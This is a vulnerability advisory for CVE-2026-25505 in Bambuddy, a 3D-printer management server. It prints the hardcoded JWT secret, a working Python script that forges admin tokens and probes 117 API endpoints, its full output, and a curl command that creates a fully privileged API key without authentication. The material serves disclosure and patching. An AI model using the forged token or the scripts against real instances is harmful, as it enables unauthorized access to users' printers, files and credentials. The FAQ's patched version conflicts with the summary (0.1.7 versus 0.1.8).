CVE-2026-25505: Bambuddy Uses Hardcoded Secret Key + Many API Endpoints do not Require Authentication
Summary 1. A hardcoded secret key used for signing JWTs is checked into source code 2. ManyAPI routes do not check authentication
Details I am using the publicly available docker image at ghcr.io/maziggy/bambuddy 1. Hardcoded JWT Secret Key https://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28
<details> <summary>Copying the Authorization token from a request via browser networking tools into JWT.io confirms the token is signed with this key</summary>
<img width="1591" height="937" alt="image" src="https://github.com/user-attachments/assets/fd6e805a-9380-438f-a412-623660fa3f5a" />
</details>
Any attacker can: 1. Forge valid JWT tokens for any user 2. Bypass authentication entirely 3. Gain full administrative access to any Bambuddy instance using the default key
Steps to Reproduce:
1. Run an instance of BamBuddy 2. Create admin user 3. Forge and use JWT: python import jwt import requests
token = jwt.encode({"sub": "admin", "exp": 9999999999}, "bambuddy-secret-key-change-in-production", algorithm="HS256") resp = requests.get("http://10.0.0.4:8000/api/v1/system/info", headers={"Authorization": f"Bearer {token}"})
print(resp.statuscode) # 200 print(resp.text) # {"app":{"version":"0.1.7b","basedir":"/app/data","archivedir":"/app/data/archive"},"database": ...
2. Most API Routes do not check Auth While investigating the JWT forgery, I noticed that requests without Authorization headers still returned information for many endpoints: python resp = requests.get("http://10.0.0.4:8000/api/v1/system/info", headers={}) # Empty headers
print(resp.statuscode) # 200 print(resp.text) # {"app":{"version":"0.1.7b","basedir":"/app/data","archivedir":"/app/data/archive"},"database": ...
Full Script and Output
Note: I do not have smart plugs or spoolman set up to verify actual behavior with those endpoints so they are excluded from this script.
<details> <summary>Script to test GET endpoints with forged JWT and without any auth</summary>
python3 #!/usr/bin/env python3 """ Proof of Concept: JWT Forgery via Hardcoded Secret Key (VULN-001) For security research purposes only.
Tests all GET endpoints to identify which are accessible without authentication. """
import requests import jwt
Hardcoded secret from backend/app/core/auth.py:28 HARDCODEDSECRET = "bambuddy-secret-key-change-in-production" TARGET = "http://10.0.0.4:8000" APIPREFIX = "/api/v1"
All GET endpoints organized by router ENDPOINTS = { "system": [ "/system/info", ], "auth": [ "/auth/status", "/auth/me", ], "users": [ "/users", "/users/1", "/users/1/items-count", ], "groups": [ "/groups", "/groups/permissions", "/groups/1", ], "settings": [ "/settings", "/settings/check-ffmpeg", "/settings/spoolman", "/settings/backup", "/settings/virtual-printer/models", "/settings/virtual-printer", "/settings/mqtt/status", ], "printers": [ "/printers/", "/printers/usb-cameras", "/printers/1", "/printers/1/status", "/printers/1/current-print-user", "/printers/1/cover", "/printers/1/files", "/printers/1/storage", "/printers/1/logging", "/printers/1/slot-presets", "/printers/1/slot-presets/1/1", "/printers/1/print/objects", "/printers/1/runtime-debug", "/printers/1/camera/status", "/printers/1/camera/test", "/printers/1/camera/plate-detection/status", "/printers/1/camera/plate-detection/references", "/printers/1/kprofiles/", "/printers/1/kprofiles/notes", ], "archives": [ "/archives/", "/archives/search", "/archives/compare", "/archives/analysis/failures", "/archives/stats", "/archives/tags", "/archives/1", "/archives/1/similar", "/archives/1/duplicates", "/archives/1/capabilities", "/archives/1/gcode", "/archives/1/plates", "/archives/1/filament-requirements", "/archives/1/project-page", "/archives/1/source", ], "filaments": [ "/filaments/", "/filaments/1", "/filaments/by-type/pla", ], "cloud": [ "/cloud/status", "/cloud/settings", "/cloud/settings/1", "/cloud/devices", "/cloud/firmware-updates", "/cloud/fields", "/cloud/fields/print", ], "queue": [ "/queue/", "/queue/1", ], "notifications": [ "/notifications/", "/notifications/logs", "/notifications/logs/stats", "/notifications/1", ], "notificationtemplates": [ "/notification-templates", "/notification-templates/variables", "/notification-templates/1", ], "updates": [ "/updates/version", "/updates/check", "/updates/status", ], "maintenance": [ "/maintenance/types", "/maintenance/overview", "/maintenance/summary", "/maintenance/printers/1", "/maintenance/items/1/history", ], "externallinks": [ "/external-links/", "/external-links/1", ], "projects": [ "/projects", "/projects/templates", "/projects/1", "/projects/1/archives", "/projects/1/queue", "/projects/1/bom", "/projects/1/timeline", ], "library": [ "/library/folders", "/library/folders/by-archive/1", "/library/folders/by-project/1", "/library/files", "/library/stats", "/library/folders/1", "/library/files/1", "/library/files/1/plates", "/library/files/1/gcode", "/library/files/1/filament-requirements", ], "apikeys": [ "/api-keys/", "/api-keys/1", ], "webhook": [ "/webhook/printer/1/status", "/webhook/queue", ], "amshistory": [ "/ams-history/1/1", ], "support": [ "/support/debug-logging", "/support/logs", ], "discovery": [ "/discovery/info", "/discovery/status", "/discovery/printers", "/discovery/scan/status", ], "pendinguploads": [ "/pending-uploads/", "/pending-uploads/count", "/pending-uploads/1", ], "firmware": [ "/firmware/updates", "/firmware/updates/1", "/firmware/latest", ], "githubbackup": [ "/github-backup/config", "/github-backup/status", "/github-backup/logs", ], "metrics": [ "/metrics", ], }
def forgetoken(): """Forge a valid JWT token using the hardcoded secret.""" payload = {"sub": "admin", "exp": 9999999999} return jwt.encode(payload, HARDCODEDSECRET, algorithm="HS256")
def testendpoint(endpoint, headers): """Test a single endpoint and return status.""" try: resp = requests.get(f"{TARGET}{APIPREFIX}{endpoint}", headers=headers, timeout=5) return resp.statuscode, resp.text[:100] if resp.statuscode == 200 else None except requests.RequestException as e: return "ERROR", str(e)[:50]
def main(): token = forgetoken() print(f"[] Forged JWT token:\n {token}\n")
# Test with no auth, then with forged JWT testmodes = [ ("NO AUTH", {}), ("FORGED JWT", {"Authorization": f"Bearer {token}"}), ]
results = {"noauth": [], "jwtonly": [], "bothfail": []}
print(f"[] Testing {sum(len(v) for v in ENDPOINTS.values())} endpoints against {TARGET}\n") print("=" 70)
for category, endpoints in ENDPOINTS.items(): print(f"\n[{category.upper()}]")
for endpoint in endpoints: noauthstatus, = testendpoint(endpoint, {}) jwtstatus, preview = testendpoint(endpoint, {"Authorization": f"Bearer {token}"})
if noauthstatus == 200: results["noauth"].append(endpoint) print(f" {endpoint}: NO AUTH REQUIRED") elif jwtstatus == 200: results["jwtonly"].append(endpoint) print(f" {endpoint}: JWT WORKS") else: results["bothfail"].append((endpoint, noauthstatus, jwtstatus)) print(f" {endpoint}: {noauthstatus} / {jwtstatus}")
# Summary print("\n" + "=" 70) print("\n[SUMMARY]\n")
print(f"Endpoints accessible WITHOUT authentication ({len(results['noauth'])}):") for ep in results["noauth"]: print(f" - {ep}")
print(f"\nEndpoints accessible with FORGED JWT only ({len(results['jwtonly'])}):") for ep in results["jwtonly"]: print(f" - {ep}")
print(f"\nEndpoints that rejected both ({len(results['bothfail'])}):") for ep, noauth, jwtauth in results["bothfail"]: print(f" - {ep} (noauth: {noauth}, jwt: {jwtauth})")
if name == "main": main()
</details>
<details> <summary>Script output</summary>
[] Forged JWT token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzcGVlbmFoIiwiZXhwIjo5OTk5OTk5OTk5fQ.xeUmpf4PkhI7jHHGBPLWQEQQ4GTiiUOENeQkPpvNMnA
[] Testing 117 endpoints against http://10.0.0.4:8000
======================================================================
[SYSTEM] /system/info: NO AUTH REQUIRED
[AUTH] /auth/status: NO AUTH REQUIRED /auth/me: JWT WORKS
[USERS] /users: JWT WORKS /users/1: JWT WORKS /users/1/items-count: JWT WORKS
[GROUPS] /groups: JWT WORKS /groups/permissions: JWT WORKS /groups/1: JWT WORKS
[SETTINGS] /settings: NO AUTH REQUIRED /settings/check-ffmpeg: NO AUTH REQUIRED /settings/spoolman: NO AUTH REQUIRED /settings/backup: NO AUTH REQUIRED /settings/virtual-printer/models: NO AUTH REQUIRED /settings/virtual-printer: NO AUTH REQUIRED /settings/mqtt/status: NO AUTH REQUIRED
[PRINTERS] /printers/: JWT WORKS /printers/usb-cameras: JWT WORKS /printers/1: JWT WORKS /printers/1/status: JWT WORKS /printers/1/current-print-user: JWT WORKS /printers/1/cover: JWT WORKS /printers/1/files: JWT WORKS /printers/1/storage: JWT WORKS /printers/1/logging: JWT WORKS /printers/1/slot-presets: JWT WORKS /printers/1/slot-presets/1/1: JWT WORKS /printers/1/print/objects: JWT WORKS /printers/1/runtime-debug: JWT WORKS /printers/1/camera/status: NO AUTH REQUIRED /printers/1/camera/test: ERROR / ERROR /printers/1/camera/plate-detection/status: NO AUTH REQUIRED /printers/1/camera/plate-detection/references: NO AUTH REQUIRED /printers/1/kprofiles/: ERROR / ERROR /printers/1/kprofiles/notes: NO AUTH REQUIRED
[ARCHIVES] /archives/: NO AUTH REQUIRED /archives/search: 422 / 422 /archives/compare: 422 / 422 /archives/analysis/failures: NO AUTH REQUIRED /archives/stats: NO AUTH REQUIRED /archives/tags: NO AUTH REQUIRED /archives/1: NO AUTH REQUIRED /archives/1/similar: NO AUTH REQUIRED /archives/1/duplicates: NO AUTH REQUIRED /archives/1/capabilities: NO AUTH REQUIRED /archives/1/gcode: NO AUTH REQUIRED /archives/1/plates: NO AUTH REQUIRED /archives/1/filament-requirements: NO AUTH REQUIRED /archives/1/project-page: NO AUTH REQUIRED /archives/1/source: 404 / 404
[FILAMENTS] /filaments/: NO AUTH REQUIRED /filaments/1: NO AUTH REQUIRED /filaments/by-type/pla: NO AUTH REQUIRED
[CLOUD] /cloud/status: NO AUTH REQUIRED /cloud/settings: 401 / 401 /cloud/settings/1: 401 / 401 /cloud/devices: 401 / 401 /cloud/firmware-updates: 401 / 401 /cloud/fields: NO AUTH REQUIRED /cloud/fields/print: NO AUTH REQUIRED
[QUEUE] /queue/: NO AUTH REQUIRED /queue/1: 404 / 404
[NOTIFICATIONS] /notifications/: NO AUTH REQUIRED /notifications/logs: NO AUTH REQUIRED /notifications/logs/stats: NO AUTH REQUIRED /notifications/1: 404 / 404
[NOTIFICATIONTEMPLATES] /notification-templates: NO AUTH REQUIRED /notification-templates/variables: NO AUTH REQUIRED /notification-templates/1: NO AUTH REQUIRED
[UPDATES] /updates/version: NO AUTH REQUIRED /updates/check: NO AUTH REQUIRED /updates/status: NO AUTH REQUIRED
[MAINTENANCE] /maintenance/types: NO AUTH REQUIRED /maintenance/overview: NO AUTH REQUIRED /maintenance/summary: NO AUTH REQUIRED /maintenance/printers/1: NO AUTH REQUIRED /maintenance/items/1/history: NO AUTH REQUIRED
[EXTERNALLINKS] /external-links/: NO AUTH REQUIRED /external-links/1: 404 / 404
[PROJECTS] /projects: NO AUTH REQUIRED /projects/templates: NO AUTH REQUIRED /projects/1: NO AUTH REQUIRED /projects/1/archives: NO AUTH REQUIRED /projects/1/queue: NO AUTH REQUIRED /projects/1/bom: NO AUTH REQUIRED /projects/1/timeline: NO AUTH REQUIRED
[LIBRARY] /library/folders: NO AUTH REQUIRED /library/folders/by-archive/1: NO AUTH REQUIRED /library/folders/by-project/1: NO AUTH REQUIRED /library/files: NO AUTH REQUIRED /library/stats: NO AUTH REQUIRED /library/folders/1: NO AUTH REQUIRED /library/files/1: 404 / 404 /library/files/1/plates: 404 / 404 /library/files/1/gcode: 404 / 404 /library/files/1/filament-requirements: 404 / 404
[APIKEYS] /api-keys/: NO AUTH REQUIRED /api-keys/1: NO AUTH REQUIRED
[WEBHOOK] /webhook/printer/1/status: 401 / 401 /webhook/queue: 401 / 401
[AMSHISTORY] /ams-history/1/1: NO AUTH REQUIRED
[SUPPORT] /support/debug-logging: NO AUTH REQUIRED /support/logs: NO AUTH REQUIRED
[DISCOVERY] /discovery/info: NO AUTH REQUIRED /discovery/status: NO AUTH REQUIRED /discovery/printers: NO AUTH REQUIRED /discovery/scan/status: NO AUTH REQUIRED
[PENDINGUPLOADS] /pending-uploads/: NO AUTH REQUIRED /pending-uploads/count: NO AUTH REQUIRED /pending-uploads/1: 404 / 404
[FIRMWARE] /firmware/updates: NO AUTH REQUIRED /firmware/updates/1: NO AUTH REQUIRED /firmware/latest: NO AUTH REQUIRED
[GITHUBBACKUP] /github-backup/config: NO AUTH REQUIRED /github-backup/status: NO AUTH REQUIRED /github-backup/logs: NO AUTH REQUIRED
[METRICS] /metrics: 401 / 401
======================================================================
[SUMMARY]
Endpoints accessible WITHOUT authentication (77): - /system/info - /auth/status - /settings - /settings/check-ffmpeg - /settings/spoolman - /settings/backup - /settings/virtual-printer/models - /settings/virtual-printer - /settings/mqtt/status - /printers/1/camera/status - /printers/1/camera/plate-detection/status - /printers/1/camera/plate-detection/references - /printers/1/kprofiles/notes - /archives/ - /archives/analysis/failures - /archives/stats - /archives/tags - /archives/1 - /archives/1/similar - /archives/1/duplicates - /archives/1/capabilities - /archives/1/gcode - /archives/1/plates - /archives/1/filament-requirements - /archives/1/project-page - /filaments/ - /filaments/1 - /filaments/by-type/pla - /cloud/status - /cloud/fields - /cloud/fields/print - /queue/ - /notifications/ - /notifications/logs - /notifications/logs/stats - /notification-templates - /notification-templates/variables - /notification-templates/1 - /updates/version - /updates/check - /updates/status - /maintenance/types - /maintenance/overview - /maintenance/summary - /maintenance/printers/1 - /maintenance/items/1/history - /external-links/ - /projects - /projects/templates - /projects/1 - /projects/1/archives - /projects/1/queue - /projects/1/bom - /projects/1/timeline - /library/folders - /library/folders/by-archive/1 - /library/folders/by-project/1 - /library/files - /library/stats - /library/folders/1 - /api-keys/ - /api-keys/1 - /ams-history/1/1 - /support/debug-logging - /support/logs - /discovery/info - /discovery/status - /discovery/printers - /discovery/scan/status - /pending-uploads/ - /pending-uploads/count - /firmware/updates - /firmware/updates/1 - /firmware/latest - /github-backup/config - /github-backup/status - /github-backup/logs
Endpoints accessible with FORGED JWT only (20): - /auth/me - /users - /users/1 - /users/1/items-count - /groups - /groups/permissions - /groups/1 - /printers/ - /printers/usb-cameras - /printers/1 - /printers/1/status - /printers/1/current-print-user - /printers/1/cover - /printers/1/files - /printers/1/storage - /printers/1/logging - /printers/1/slot-presets - /printers/1/slot-presets/1/1 - /printers/1/print/objects - /printers/1/runtime-debug
Endpoints that rejected both (20): - /printers/1/camera/test (noauth: ERROR, jwt: ERROR) - /printers/1/kprofiles/ (noauth: ERROR, jwt: ERROR) - /archives/search (noauth: 422, jwt: 422) - /archives/compare (noauth: 422, jwt: 422) - /archives/1/source (noauth: 404, jwt: 404) - /cloud/settings (noauth: 401, jwt: 401) - /cloud/settings/1 (noauth: 401, jwt: 401) - /cloud/devices (noauth: 401, jwt: 401) - /cloud/firmware-updates (noauth: 401, jwt: 401) - /queue/1 (noauth: 404, jwt: 404) - /notifications/1 (noauth: 404, jwt: 404) - /external-links/1 (noauth: 404, jwt: 404) - /library/files/1 (noauth: 404, jwt: 404) - /library/files/1/plates (noauth: 404, jwt: 404) - /library/files/1/gcode (noauth: 404, jwt: 404) - /library/files/1/filament-requirements (noauth: 404, jwt: 404) - /webhook/printer/1/status (noauth: 401, jwt: 401) - /webhook/queue (noauth: 401, jwt: 401) - /pending-uploads/1 (noauth: 404, jwt: 404) - /metrics (noauth: 401, jwt: 401)
</details>
While this script only tests the GET endpoints, these vulnerabilities are not exclusive to GET endpoints. The GET endpoints were easiest to script since they generally don't require many parameters, but other methods still appear vulnerable. I manually tested POST /api/v1/api-keys/ and was able to create a new API key with all permissions without auth: bash curl 'http://10.0.0.4:8000/api/v1/api-keys/' -X POST -H 'Content-Type: application/json' --data-raw '{"name":"new key","canqueue":true,"cancontrolprinter":true,"canreadstatus":true}' yields json {"id":7,"name":"new key","keyprefix":"bbQW2su...","canqueue":true,"cancontrolprinter":true,"canreadstatus":true,"printerids":null,"enabled":true,"lastused":null,"createdat":"2026-02-01T23:14:15","expiresat":null,"key":"bbQW2suZVIHiUbadSyyAMrnmf0zFhDG5e9BSVBvb4ZN-w"}
Impact BamBuddy is vulnerable to unauthorized access and control
Other sources
Bambuddy is a self-hosted print archive and management system for Bambu Lab 3D printers. Prior to version 0.1.7, a hardcoded secret key used for signing JWTs is checked into source code and ManyAPI routes do not check authentication. This issue has been patched in version 0.1.7.
— MITRE
Affected Software
Remediation
Patch Available
Event History
Frequently Asked Questions
What is the severity of CVE-2026-25505?
CVE-2026-25505 is classified as a high severity vulnerability due to the use of a hardcoded secret key and the lack of authentication on many API endpoints.
How do I fix CVE-2026-25505?
To fix CVE-2026-25505, update to the version 0.1.8 or later of the bambuddy package, which removes the hardcoded secret key and enforces authentication.
What impact does CVE-2026-25505 have on my application?
CVE-2026-25505 can allow unauthorized access to API endpoints, potentially compromising sensitive data and functionality within your application.
Is CVE-2026-25505 exploitable in the default configuration?
Yes, CVE-2026-25505 is exploitable in its default configuration due to the hardcoded secret and unauthenticated API routes.
What should I do if I cannot immediately upgrade to fix CVE-2026-25505?
If an immediate upgrade is not possible for CVE-2026-25505, consider implementing additional network security measures such as IP whitelisting and firewall rules to restrict access.